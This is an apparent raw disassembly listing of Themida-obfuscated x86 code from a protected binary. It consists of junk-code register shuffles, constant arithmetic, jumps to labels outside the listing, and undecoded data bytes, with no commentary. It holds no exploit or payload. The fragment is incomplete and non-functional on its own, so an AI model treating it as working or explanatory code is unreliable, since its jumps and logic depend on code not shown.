--------------------------------------------------------------------------- db 4 dd 68D800F8h, 3E6Ah, 0B5240C89h, 0BC580B2h, 0FFE253E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A30AD: ; CODE XREF: Themida_:005A8EA9j pop ebp add edi, 2 xor edi, [esp] xor [esp], edi jmp loc_5AF0CB ; --------------------------------------------------------------------------- loc_5A30BC: ; CODE XREF: Themida_:0059854Fj ; Themida_:0059C591j push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] push edi mov edi, esp push ebp mov ebp, 4 push ecx jmp loc_5A39D3 ; --------------------------------------------------------------------------- loc_5A30DB: ; CODE XREF: Themida_:005A5E14j shr eax, 4 jnz loc_5A3384 jmp loc_5A5E62 ; --------------------------------------------------------------------------- db 81h, 0EAh, 7 dd 5B7F3B53h db 52h, 89h, 0D5h ; --------------------------------------------------------------------------- loc_5A30F3: ; CODE XREF: Themida_:005A4E54j add edi, 4 add edi, 2 xchg edi, [esp] pop esp xor cl, 0C6h shr cl, 3 not cl add cl, 1 add cl, 0FEh push cx mov cl, 0A5h sub al, cl pop cx add al, 0D2h push edx mov dh, 30h sub al, dh pop edx add al, cl add al, 30h jmp loc_5AC8EA ; --------------------------------------------------------------------------- db 80h dd 766884C3h, 89000010h, 0DA68240Ch, 89000000h, 0DA882414h dd 88C7E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3142: ; CODE XREF: Themida_:0059D581j push edi xchg ecx, [esp] not ecx xchg ecx, [esp] pop edi push edx mov edx, 16964AF2h xor edi, edx pop edx or edi, 32323A9Eh sub esp, 4 jmp loc_59B299 ; --------------------------------------------------------------------------- loc_5A3166: ; CODE XREF: Themida_:0059DDB3j add esp, 4 add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push edx mov edx, 4 jmp loc_5AC074 ; --------------------------------------------------------------------------- loc_5A3187: ; CODE XREF: Themida_:005A7450j not edi jmp loc_59918D ; --------------------------------------------------------------------------- dw 0F581h dd 0AB7A0BDh, 2C8BE901h, 7088E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A319E: ; CODE XREF: Themida_:0059B16Dj push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 push edx push 28h push dword ptr [esp] pop edx add esp, 4 push edi jmp loc_59FD12 ; --------------------------------------------------------------------------- loc_5A31C9: ; CODE XREF: Themida_:005AEDCDj add esp, 4 not ecx dec ecx dec ecx jmp loc_5A0EA2 ; --------------------------------------------------------------------------- loc_5A31D8: ; CODE XREF: Themida_:005A4265j add edx, ecx mov ecx, [esp] add esp, 4 add edx, 4 xchg edx, [esp] pop esp sub ebp, 3E4907EDh add ebp, edi add ebp, 3E4907EDh jmp loc_598759 ; --------------------------------------------------------------------------- dw 0E901h dd 7827E981h, 0F4E95BC0h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3207: ; CODE XREF: Themida_:0059EB49j push dword ptr [esp] jmp loc_5A0114 ; --------------------------------------------------------------------------- db 5 dd 29788E37h, 4246C81h, 250C6AA0h, 4244401h, 2EA1E9h db 0 ; --------------------------------------------------------------------------- loc_5A3225: ; CODE XREF: Themida_:005993B3j jmp loc_5A65EB ; --------------------------------------------------------------------------- loc_5A322A: ; CODE XREF: Themida_:005A1BD5j add esp, 4 push edx jmp loc_59F690 ; --------------------------------------------------------------------------- loc_5A3236: ; CODE XREF: Themida_:0059F029j add edx, 0CE96F0Bh jl loc_5A3368 neg edx js loc_5A9A2E push esi mov esi, 4F563E4Ch or esi, 190283Fh pop ecx dec dh jl loc_5AF4C0 not dh inc dh jmp loc_5AF080 ; --------------------------------------------------------------------------- loc_5A3268: ; CODE XREF: Themida_:005A9271j push 1A2Fh mov [esp], edx push esi mov esi, 61283E21h xor esi, 61090606h jnp loc_5A2FB7 not esi not esi shl esi, 7 jnp loc_5AB3A2 jmp loc_59A65B ; --------------------------------------------------------------------------- dd 0E8C0D0F6h, 88C0FE06h db 0FAh, 52h ; --------------------------------------------------------------------------- loc_5A329E: ; CODE XREF: Themida_:0059FB27j push 458Fh mov [esp], ecx mov ecx, esp push edi jmp loc_5A424E ; --------------------------------------------------------------------------- dw 248Bh dd 0C896624h, 0A6B75324h, 0E9B2B551h, 0FFFFC9B6h, 0C73DB32Dh dd 2434FF29h, 0E9241C8Bh, 9B85h ; --------------------------------------------------------------------------- loc_5A32D0: ; CODE XREF: Themida_:005AEBC6j mov [esp], ebx mov ebx, 72E90469h xor edi, ebx mov ebx, [esp] add esp, 4 sub ebp, edi jmp loc_5993CE ; --------------------------------------------------------------------------- loc_5A32EA: ; CODE XREF: Themida_:005A5625j push esi push 571Ch jmp loc_59B645 ; --------------------------------------------------------------------------- loc_5A32F5: ; CODE XREF: Themida_:005A15F8j sub esp, 4 mov [esp], ebx push 5080h mov [esp], ecx jmp loc_59EC16 ; --------------------------------------------------------------------------- loc_5A3308: ; CODE XREF: Themida_:00598921j ; Themida_:005A4BBCj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A330D: ; CODE XREF: Themida_:005AE7FDj push edx mov edx, 444601F4h sub edx, 1859AD52h jmp loc_59BBDD ; --------------------------------------------------------------------------- loc_5A331E: ; CODE XREF: Themida_:0059D5A9j mov ebp, ecx push ebp add dword ptr [esp], 7E6D1C11h pop esi jmp loc_59A850 ; --------------------------------------------------------------------------- loc_5A332E: ; CODE XREF: Themida_:loc_5AA2BFj jmp loc_59B0D5 ; --------------------------------------------------------------------------- loc_5A3333: ; CODE XREF: Themida_:loc_5AAF7Dj push ebp jmp loc_59F2C3 ; --------------------------------------------------------------------------- loc_5A3339: ; CODE XREF: Themida_:005A6782j pop ebx pop dword ptr [esp] pop esp mov [esp], edi pop ecx mov edi, [esp] jmp loc_5A2702 ; --------------------------------------------------------------------------- dw 0E95Ch dd 1389h ; --------------------------------------------------------------------------- loc_5A3350: ; CODE XREF: Themida_:005AF4AFj mov [esp], eax xchg edx, [esp] not edx xchg edx, [esp] jmp loc_598A03 ; --------------------------------------------------------------------------- loc_5A3360: ; CODE XREF: Themida_:00599B62j or dl, 0D5h jmp loc_59DFEB ; --------------------------------------------------------------------------- loc_5A3368: ; CODE XREF: Themida_:005A323Cj neg edx js loc_5A7D65 push esi jmp loc_59C394 ; --------------------------------------------------------------------------- dw 0C3FEh db 52h, 0B3h, 28h ; --------------------------------------------------------------------------- loc_5A337B: ; CODE XREF: Themida_:0059AA54j pop eax push ebx mov bl, cl jmp loc_5A7823 ; --------------------------------------------------------------------------- loc_5A3384: ; CODE XREF: Themida_:005A30DEj jmp loc_5AEDC3 ; --------------------------------------------------------------------------- loc_5A3389: ; CODE XREF: Themida_:005AB8FEj sub edx, 7F3B5307h pop ebx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_59CAD1 ; --------------------------------------------------------------------------- loc_5A339E: ; CODE XREF: Themida_:005A14C3j pop eax jmp loc_59AC8D ; --------------------------------------------------------------------------- dd 85797705h, 37E95627h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A33AF: ; CODE XREF: Themida_:0059928Fj ; Themida_:005A3812j sub dword ptr [esp+4], 461A4895h pop ebp push dword ptr [esp] jmp loc_5A08EA ; --------------------------------------------------------------------------- dd 7736CE81h, 810F4C61h, 0FFFFC8F9h, 3DD7E9h, 75C68100h dd 9719C33h, 34FF5EF2h, 0DD685A24h, 89000054h, 0E389241Ch dd 4C381h, 0EB810000h, 4, 143068h, 8CF0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A33FE: ; CODE XREF: Themida_:005A58DDj shl eax, 4 or eax, 767D038Ch sub eax, 0CDB0AD3Bh add edi, eax pop eax and edi, 2B153861h push ebx mov ebx, 64282097h or edi, ebx pop ebx jmp loc_59A0A8 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF847AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A342D: ; CODE XREF: Themida_:005A78C7j ; Themida_:005ACF4Aj mov esi, 464401A3h shl esi, 1 jmp loc_5A6C2C ; --------------------------------------------------------------------------- loc_5A3439: ; CODE XREF: Themida_:005AD203j pop eax inc di jmp loc_59B724 ; --------------------------------------------------------------------------- loc_5A3441: ; CODE XREF: Themida_:0059CC39j pop edx sub bl, cl pop cx movzx eax, al push dword ptr [edi+eax*4] sub esp, 4 mov [esp], eax mov eax, 39B87E04h add eax, 0FFFFFFFFh inc eax jno loc_599E3F push 57CEh mov [esp], edx sub esp, 4 push esp loc_5A3470: ; CODE XREF: Themida_:005A5A55j pop edi mov ecx, [esp] add esp, 4 mov edx, ebp push dword ptr [esp] pop ebp push esi push esp pop esi jmp loc_5AA7A2 ; --------------------------------------------------------------------------- dd 0DF31FB31h, 69C78147h, 813ABC7Ah, 846BECC7h, 0E9FA0199h dd 0FFFF98E0h ; --------------------------------------------------------------------------- loc_5A34A0: ; CODE XREF: Themida_:005A00CBj ; Themida_:005A7484j add ebx, 26E71BEBh push 7352h jmp loc_59BFD2 ; --------------------------------------------------------------------------- loc_5A34B0: ; CODE XREF: Themida_:005A5B26j push 1572h mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5A13AB ; --------------------------------------------------------------------------- db 1 dd 53555FF9h, 4BBh, 5BDD8900h, 515DE901h, 42474FFh, 24048F59h dd 124248Bh, 0E99C2404h, 0FFFF4E98h, 0FFA94EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A34F9: ; CODE XREF: Themida_:loc_5A3CECj jmp loc_5A715D ; --------------------------------------------------------------------------- loc_5A34FE: ; CODE XREF: Themida_:0059C737j pop esp shr word ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aHur db '$hUr',0 align 2 dw 3C89h dd 3C8B5424h, 4C48324h, 7CD68h, 7BDFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3526: ; CODE XREF: Themida_:0059D377j pop ecx add esp, 4 mov ch, dh jmp loc_5A908E ; --------------------------------------------------------------------------- loc_5A3531: ; CODE XREF: Themida_:0059CEFAj xchg edx, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_5AA808 ; --------------------------------------------------------------------------- loc_5A3544: ; CODE XREF: Themida_:005A0DB3j pop ecx push 224Dh mov [esp], eax jmp loc_59A02C ; --------------------------------------------------------------------------- loc_5A3552: ; CODE XREF: Themida_:0059ED43j sub esp, 4 mov [esp], esi mov esi, 554D5442h jmp loc_5AD7A2 ; --------------------------------------------------------------------------- dw 0EEBDh dd 29EAFD65h, 52565DEEh, 9B7999BAh, 2454310Fh, 0AEE95A04h dd 21000013h, 0EA8159CAh, 0F4D3FF1Bh, 9870412Dh, 5D0011Ah dd 1A987041h, 0DBBE9h db 0 ; --------------------------------------------------------------------------- loc_5A3595: ; CODE XREF: Themida_:005A05EFj and ecx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_598C42 ; --------------------------------------------------------------------------- dd 2BE9D031h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A35AF: ; CODE XREF: Themida_:00599C52j mov edi, [esp] add esp, 4 push ecx push ebx mov ebx, 1C136338h shr ebx, 7 jmp loc_5ABB5A ; --------------------------------------------------------------------------- loc_5A35C7: ; CODE XREF: Themida_:005A9608j push dword ptr [esp] pop eax push ecx jmp loc_5AF459 ; --------------------------------------------------------------------------- loc_5A35D1: ; CODE XREF: Themida_:005AB08Dj push ebx jmp loc_5ACAF3 ; --------------------------------------------------------------------------- db 89h dd 0F3E92434h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A35DF: ; CODE XREF: Themida_:005AF3ECj pop esi sub eax, 1EBE1C6Bh sub ebx, eax pop eax add ebx, edi add ebx, 49795193h jmp loc_59C0F6 ; --------------------------------------------------------------------------- loc_5A35F5: ; CODE XREF: Themida_:0059C686j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] and ebx, ecx pop ecx jmp loc_59D3EE ; --------------------------------------------------------------------------- loc_5A360F: ; CODE XREF: Themida_:005AD315j add esp, 4 add ecx, ebx mov ebx, [esp] add esp, 4 pop ebp jmp loc_59B31C ; --------------------------------------------------------------------------- loc_5A3620: ; CODE XREF: Themida_:005A61CFj pop edx jmp loc_5ADD25 ; --------------------------------------------------------------------------- loc_5A3626: ; CODE XREF: Themida_:0059D5CCj xor ebp, 7ECE04FCh mov ecx, ebp mov ebp, [esp] jmp loc_5985E2 ; --------------------------------------------------------------------------- loc_5A3636: ; CODE XREF: Themida_:005A51E8j sub edi, 48DC7EE8h mov ebx, edi jmp loc_59FA34 ; --------------------------------------------------------------------------- db 89h dd 0E589242Ch, 4C581h, 0DFE90000h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3653: ; CODE XREF: Themida_:005A6080j sub eax, ebp pop ebp pop ebx sub esi, 342E3272h add esi, eax push eax jmp loc_5AA062 ; --------------------------------------------------------------------------- db 29h, 0CEh, 8Bh dd 0C483240Ch, 24148B04h, 3304C483h, 34312434h, 0B0B3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A367E: ; CODE XREF: Themida_:0059F9DEj push eax jmp loc_59B53A ; --------------------------------------------------------------------------- loc_5A3684: ; CODE XREF: Themida_:005A52CCj neg ebp jg loc_5A7F0E jmp loc_59DA6E ; --------------------------------------------------------------------------- db 2Dh, 9Bh, 3Bh db 0C4h, 78h, 53h ; --------------------------------------------------------------------------- loc_5A3697: ; CODE XREF: Themida_:loc_5AB1C0j dec ebx jns loc_5A05F4 jmp loc_59A04E ; --------------------------------------------------------------------------- db 5Ah dd 885E5456h db 0F5h, 5Eh ; --------------------------------------------------------------------------- loc_5A36AA: ; CODE XREF: Themida_:loc_5A56C6j push eax mov eax, 7C1619CEh shr eax, 4 and eax, 6D3802BFh add eax, 6CB3289h xor ebp, eax pop eax or ecx, ebp mov ebp, [esp] jmp loc_59F685 ; --------------------------------------------------------------------------- loc_5A36CA: ; CODE XREF: Themida_:0059DA4Bj sub edx, 0FFFFFFFFh shr edx, 7 push ebp mov ebp, 0FFFFFFFFh sub edx, ebp pop ebp add edx, 0FFA0115Bh push edx mov edx, 61B72582h xor edx, 6A31754h add eax, edx jmp loc_5A9E89 ; --------------------------------------------------------------------------- dw 95E9h db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A36F7: ; CODE XREF: Themida_:005A9F65j push ecx push ebx jmp loc_59F787 ; --------------------------------------------------------------------------- loc_5A36FE: ; CODE XREF: Themida_:005A127Aj ; Themida_:005A4D90j push 29A9h mov [esp], ebx push dword ptr [esp] pop ebx push eax push 5A78h push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop eax jmp loc_5A67EF ; --------------------------------------------------------------------------- dd 0FDA0EF81h, 0FE8913CDh, 4EC815Fh, 89000000h, 0E0682414h dd 5A037332h, 7E2C142h, 0E883BB53h, 0DA317398h, 0E8BEE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A374E: ; CODE XREF: Themida_:005A6A81j add edi, 4 push ecx jmp loc_5A1116 ; --------------------------------------------------------------------------- loc_5A375A: ; CODE XREF: Themida_:005A3F5Bj mov edi, esp add edi, 4 push edx jmp loc_5A1CE1 ; --------------------------------------------------------------------------- loc_5A3768: ; CODE XREF: Themida_:0059AEBDj and eax, 463B0F7Ah xor eax, 30766DC6h sub edi, eax pop eax add edi, ecx add edi, 707E6B8Ch push dword ptr [esp] jmp loc_5A9A9C ; --------------------------------------------------------------------------- db 4, 0A1h, 66h dd 0E94CCB68h, 0FFFFC144h ; --------------------------------------------------------------------------- loc_5A3790: ; CODE XREF: Themida_:005A783Bj sub esi, 4 xchg esi, [esp] jmp loc_599A28 ; --------------------------------------------------------------------------- db 56h dd 2010B850h, 75BE05C4h, 0E973F219h, 0FFFF52E1h ; --------------------------------------------------------------------------- loc_5A37AC: ; CODE XREF: Themida_:0059B7DFj mov esp, [esp] jmp loc_5A5A73 ; --------------------------------------------------------------------------- loc_5A37B4: ; CODE XREF: Themida_:005A822Ej sub esp, 4 jmp loc_5AE218 ; --------------------------------------------------------------------------- loc_5A37BF: ; CODE XREF: Themida_:005ADD50j add esp, 4 shr esi, 6 push ecx mov ecx, 31D37857h shl ecx, 6 neg ecx jmp loc_5995DF ; --------------------------------------------------------------------------- dd 34FFC608h, 24048B24h, 4C481h, 0C4830000h, 0F8B35304h dd 0E3C0CBFEh, 0E9CBFE07h, 5C06h, 13240481h, 571B531Dh dd 381C15BFh, 9ACBE97Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A380A: ; CODE XREF: Themida_:0059EB39j sub eax, 7324145Eh shr eax, 6 jmp loc_5A33AF ; --------------------------------------------------------------------------- loc_5A3817: ; CODE XREF: Themida_:005A4649j push 546E1FEEh mov ecx, [esp] add esp, 4 push ecx not dword ptr [esp] pop ecx sub ecx, 3B1FC3ECh jmp loc_5A2AAE ; --------------------------------------------------------------------------- loc_5A3835: ; CODE XREF: Themida_:0059BF33j ; Themida_:005A48B5j mov eax, 30C27975h add eax, 3F000540h sub eax, 6BD2712Bh jmp loc_5AD9F7 ; --------------------------------------------------------------------------- db 29h, 0F8h, 0E9h dd 7E2Bh ; --------------------------------------------------------------------------- loc_5A3850: ; CODE XREF: Themida_:00599609j pop edi pop ecx jmp loc_5A6B16 ; --------------------------------------------------------------------------- loc_5A3857: ; CODE XREF: Themida_:0059A656j add eax, edx add eax, 1C0F4906h pop edx add ebx, 54A66399h jmp loc_5AC4D2 ; --------------------------------------------------------------------------- loc_5A386A: ; CODE XREF: Themida_:005AD681j pop eax add esp, 4 push edx mov edx, 4 jmp loc_5A2765 ; --------------------------------------------------------------------------- loc_5A3879: ; CODE XREF: Themida_:005AC120j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5A6868 ; --------------------------------------------------------------------------- loc_5A388E: ; CODE XREF: Themida_:005AEEC0j mov ecx, ebx mov ebx, [esp] add esp, 4 push 6F6h mov [esp], ecx mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 pop edi mov ecx, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A38BF: ; CODE XREF: Themida_:0059D003j xor ebx, 65009F4h and eax, ebx jmp loc_59C219 ; --------------------------------------------------------------------------- dd 52240489h, 8FAE9h, 38DD6800h, 0C890000h, 7A816824h dd 0F1E90000h db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A38E7: ; CODE XREF: Themida_:0059B696j pop esi add eax, 4 push eax push dword ptr [esp+4] jmp loc_5A6157 ; --------------------------------------------------------------------------- loc_5A38F7: ; CODE XREF: Themida_:0059FAD0j sub bl, 88h add bl, al add bl, 88h sub esp, 4 mov [esp], edx jmp loc_5A2BA3 ; --------------------------------------------------------------------------- loc_5A390A: ; CODE XREF: Themida_:005ACBB9j shr eax, 18h jmp loc_5A6BA4 ; --------------------------------------------------------------------------- loc_5A3912: ; CODE XREF: Themida_:005A6F68j ; Themida_:005A8137j push 6C0818D8h jmp loc_5A833D ; --------------------------------------------------------------------------- loc_5A391C: ; CODE XREF: Themida_:00599547j push ecx mov ch, 0C3h mov bl, 0Fh sub bl, ch pop ecx shl bl, 2 sub esp, 2 mov [esp], bx inc byte ptr [esp] pop bx and bl, 0B1h not bl sub bl, 73h add al, 76h sub al, bl jmp loc_5AD5B3 ; --------------------------------------------------------------------------- loc_5A3947: ; CODE XREF: Themida_:005A64CAj pop esp pop dword ptr [esp] jmp loc_5A2184 ; --------------------------------------------------------------------------- loc_5A3950: ; CODE XREF: Themida_:005A812Ej shl ebx, 5 jmp loc_599D59 ; --------------------------------------------------------------------------- loc_5A3958: ; CODE XREF: Themida_:0059C091j push ebp push ecx mov ecx, 2B063D38h mov ebp, ecx jmp loc_5A8C19 ; --------------------------------------------------------------------------- loc_5A3966: ; CODE XREF: Themida_:005993D5j add edi, 4 push eax mov eax, 4 add edi, eax jmp loc_5A47CA ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 28F86824h, 34890000h, 9F09E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A398A: ; CODE XREF: Themida_:0059E87Bj add ecx, 29471047h pop edx jmp loc_5A2ED3 ; --------------------------------------------------------------------------- loc_5A3996: ; CODE XREF: Themida_:005A654Bj push ebp jmp loc_59CDAD ; --------------------------------------------------------------------------- loc_5A399C: ; CODE XREF: Themida_:0059BE58j ; Themida_:005A679Bj pop edx push dword ptr [esp] pop ebx push esi push 51E3h mov [esp], esp jmp loc_5A1680 ; --------------------------------------------------------------------------- loc_5A39AF: ; CODE XREF: Themida_:005A79CEj ; Themida_:loc_5A914Dj xor ecx, 2D50249Ch jmp loc_5A5B7F ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 14875BDAh, 24248B24h, 55D0E9h, 25E95500h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A39D3: ; CODE XREF: Themida_:005A30D6j mov ecx, 47870C74h jmp loc_5A9CF5 ; --------------------------------------------------------------------------- loc_5A39DD: ; CODE XREF: Themida_:0059B859j xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_5A0777 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF499Ch, 0F46CC80h, 0AE3E87h, 14BAE900h, 2B2D0000h dd 8A6EB400h db 0CFh ; --------------------------------------------------------------------------- loc_5A3A05: ; CODE XREF: Themida_:005A6B53j xor ecx, [esp] pop esp mov ecx, [esp] add esp, 4 jmp loc_59D03B ; --------------------------------------------------------------------------- loc_5A3A14: ; CODE XREF: Themida_:005A7CC1j sub esp, 2 mov [esp], bx push edx mov dh, 4Bh jmp loc_5AE4DE ; --------------------------------------------------------------------------- loc_5A3A26: ; CODE XREF: Themida_:0059D942j sub edx, 6FA40152h jmp loc_5A78B0 ; --------------------------------------------------------------------------- loc_5A3A31: ; CODE XREF: Themida_:005AAEC8j mov edx, [esp] jmp loc_5A673C ; --------------------------------------------------------------------------- loc_5A3A39: ; CODE XREF: Themida_:0059AA5Ej mov [esp], esi mov esi, esp add esi, 4 jmp loc_5A9075 ; --------------------------------------------------------------------------- loc_5A3A49: ; CODE XREF: Themida_:005A60F1j neg ebx sub ebx, 12201BABh jbe loc_5A78A2 add ebx, 868D5FF1h mov esi, ebx pop ebx mov edx, 4C6A443Ch xor edx, esi pop esi add esi, 4E5649Bh jmp loc_5A5EF0 ; --------------------------------------------------------------------------- loc_5A3A73: ; CODE XREF: Themida_:0059BC46j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A3A78: ; CODE XREF: Themida_:005AC52Bj mov edi, ebx pop ebx add eax, edi mov edi, [esp] add esp, 4 jmp loc_59DF8C ; --------------------------------------------------------------------------- dd 60E9D800h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3A8F: ; CODE XREF: Themida_:005A10FCj push edx mov dl, 0CCh inc dl and dl, 90h add dl, 14h add al, dl pop edx jmp loc_5AC2F9 ; --------------------------------------------------------------------------- loc_5A3AA2: ; CODE XREF: Themida_:005AD1BCj mov ebx, 45AD1F6Eh push edx mov edx, 2CFC0154h jmp loc_5AD886 ; --------------------------------------------------------------------------- dd offset dword_443380+1E8h dw 8900h dd 0BB53240Ch, 3C0F4FF8h, 8B3A2AB9h, 5BD93155h, 75CEE981h dd 6D056984h, 0E9100D2Eh, 21Fh ; --------------------------------------------------------------------------- loc_5A3AD8: ; CODE XREF: Themida_:005A6395j mov ch, dh mov bh, ch pop ecx pop edx xor al, bh mov bx, [esp] push 45DDh jmp loc_59ADEC ; --------------------------------------------------------------------------- loc_5A3AEE: ; CODE XREF: Themida_:0059D083j not ebx xor ebx, 87C32A4h jmp loc_59F510 ; --------------------------------------------------------------------------- loc_5A3AFB: ; CODE XREF: Themida_:005A695Dj ; Themida_:005A91AEj pop ebx jmp loc_5A0DC4 ; --------------------------------------------------------------------------- loc_5A3B01: ; CODE XREF: Themida_:005AB45Ej add edi, edx pop edx xchg edi, [esp] mov esp, [esp] movzx ecx, ax push 6F40h mov [esp], ecx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A3B1A: ; CODE XREF: Themida_:005A93F2j mov bh, dh pop edx add bh, 0F4h jmp loc_59D4F8 ; --------------------------------------------------------------------------- aN1Sqn db '1Ψι',0 db 0 ; --------------------------------------------------------------------------- loc_5A3B2D: ; CODE XREF: Themida_:0059A1D1j mov ebp, 24F083CBh sub eax, 1AA31A3h sub eax, ebp push 6376h mov [esp], ebx jmp loc_5A4C9D ; --------------------------------------------------------------------------- dw 5D51h dd 0FF2434FFh, 34FF2434h, 3359E924h, 0E95C0000h, 2B3Fh ; --------------------------------------------------------------------------- loc_5A3B5C: ; CODE XREF: Themida_:005A5F5Bj ; Themida_:005A81F3j add edx, edi jmp loc_59CDBF ; --------------------------------------------------------------------------- db 0B3h dd 76F3805Ch, 805BDE28h, 0E62875C6h, 5175EE80h, 0C58021B5h dd 4BA3E95Fh, 34FF0000h, 0C4815B24h, 4, 36B45052h, 8033B353h dd 0E8E9F5EBh db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3B97: ; CODE XREF: Themida_:0059E9E4j mov esi, 2988565Dh push edi mov edi, 2C22462Dh add esi, edi pop edi shr esi, 8 jmp loc_5A2C66 ; --------------------------------------------------------------------------- loc_5A3BAD: ; CODE XREF: Themida_:005AC583j mov [esp], edx push ecx mov cl, 59h mov dh, cl pop ecx or dh, 93h and dh, 90h or dh, 0C9h push bx mov bh, 8Dh sub dh, 0F5h sub dh, bh add dh, 0F5h pop bx jmp loc_599533 ; --------------------------------------------------------------------------- loc_5A3BD2: ; CODE XREF: Themida_:0059F4DFj push 4418h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_59E0FB ; --------------------------------------------------------------------------- loc_5A3BE7: ; CODE XREF: Themida_:0059C1DAj mov [esp], ebx push eax jmp loc_59F295 ; --------------------------------------------------------------------------- loc_5A3BF0: ; CODE XREF: Themida_:005A4EE4j mov ch, 0A3h sub ch, 21h jmp loc_5ABB7C ; --------------------------------------------------------------------------- loc_5A3BFA: ; CODE XREF: Themida_:005A164Dj pop ecx sub esp, 4 jmp loc_5AD349 ; --------------------------------------------------------------------------- loc_5A3C06: ; CODE XREF: Themida_:0059AAB2j push esi mov esi, 51B71960h push ebp mov ebp, 295A3063h xor esi, ebp jmp loc_59A74F ; --------------------------------------------------------------------------- db 5Bh, 1, 0CEh dd 0AFBC681h, 0C8B2F4Dh, 5F545724h, 4C781h, 0C7830000h dd 8BF6E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3C36: ; CODE XREF: Themida_:005A5A62j mov ebp, 0FCC36F7h shl ebp, 6 and ebp, 0E2954D0h dec ebp push eax mov eax, 0B2191D2Dh xor ebp, eax pop eax add eax, ebp pop ebp push eax pop dword ptr [edi+20h] pop eax push 6FF6h mov [esp], esi push 234Ah mov [esp], edi push 127A02C1h jmp loc_5A2A57 ; --------------------------------------------------------------------------- loc_5A3C70: ; CODE XREF: Themida_:005A0662j ; Themida_:005A4509j and dh, 0F7h push eax mov al, 5Ch xor al, 0A8h jmp loc_5AEFDE ; --------------------------------------------------------------------------- loc_5A3C7D: ; CODE XREF: Themida_:005AC0B1j pop eax sub esp, 4 jmp loc_5A94F5 ; --------------------------------------------------------------------------- dw 0C281h dd 42EE2A19h, 0C281D2F7h, 7DBC6636h, 335AD029h, 4312404h dd 24043324h, 8924248Bh, 0BEBD242Ch, 0E9383863h, 0FFFFC3C1h dd 2C481h, 83E90000h, 31FFFFD1h, 18E9243Ch, 8BFFFFCBh dd 0C4812404h, 4, 0FF9640E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3CD1: ; CODE XREF: Themida_:0059F866j dec edi jl loc_5AF3DD xor edi, ebx jmp loc_5A9AEB ; --------------------------------------------------------------------------- db 1 dd 76FB2DC8h, 0E9595D5Eh, 0FFFFA98Ah ; --------------------------------------------------------------------------- loc_5A3CEC: ; CODE XREF: Themida_:005A1AA3j jg loc_5A34F9 jmp loc_5A152D ; --------------------------------------------------------------------------- db 1 dd 2E6D2DC8h, 8359100Dh, 348904ECh, 4A685524h, 5D01FA01h dd 148ED81h, 5E5501FAh, 0E9F0015Dh, 0FFFF602Ch, 4EC81h dd 31E90000h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3D27: ; CODE XREF: Themida_:005A1AF4j push 47B7h jmp loc_59ABDD ; --------------------------------------------------------------------------- loc_5A3D31: ; CODE XREF: Themida_:005A849Dj sub esp, 4 jmp loc_5AB6C4 ; --------------------------------------------------------------------------- loc_5A3D3C: ; CODE XREF: Themida_:0059850Bj push edx jmp loc_5A5866 ; --------------------------------------------------------------------------- dw 8159h dd 4ECh, 24148900h, 0F9E23FBAh, 0F852E91Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3D56: ; CODE XREF: Themida_:0059BEC7j ; Themida_:0059F85Bj ... pop ebx sub edx, 62E73DEEh sub ebx, edx pop edx sub ebx, 30F700BBh and ebx, 265F3290h push edi mov edi, 220A208Ch jmp loc_5983C3 ; --------------------------------------------------------------------------- loc_5A3D77: ; CODE XREF: Themida_:005A2119j xor ebp, [esp] xor [esp], ebp jmp loc_599D51 ; --------------------------------------------------------------------------- loc_5A3D82: ; CODE XREF: Themida_:005A6B1Aj add ebx, 0F5A70B16h push edi mov edi, ebx mov eax, edi jmp loc_5A991F ; --------------------------------------------------------------------------- loc_5A3D92: ; CODE XREF: Themida_:005ABC0Cj add eax, 42955775h mov ebp, eax jmp loc_59EC9C ; --------------------------------------------------------------------------- 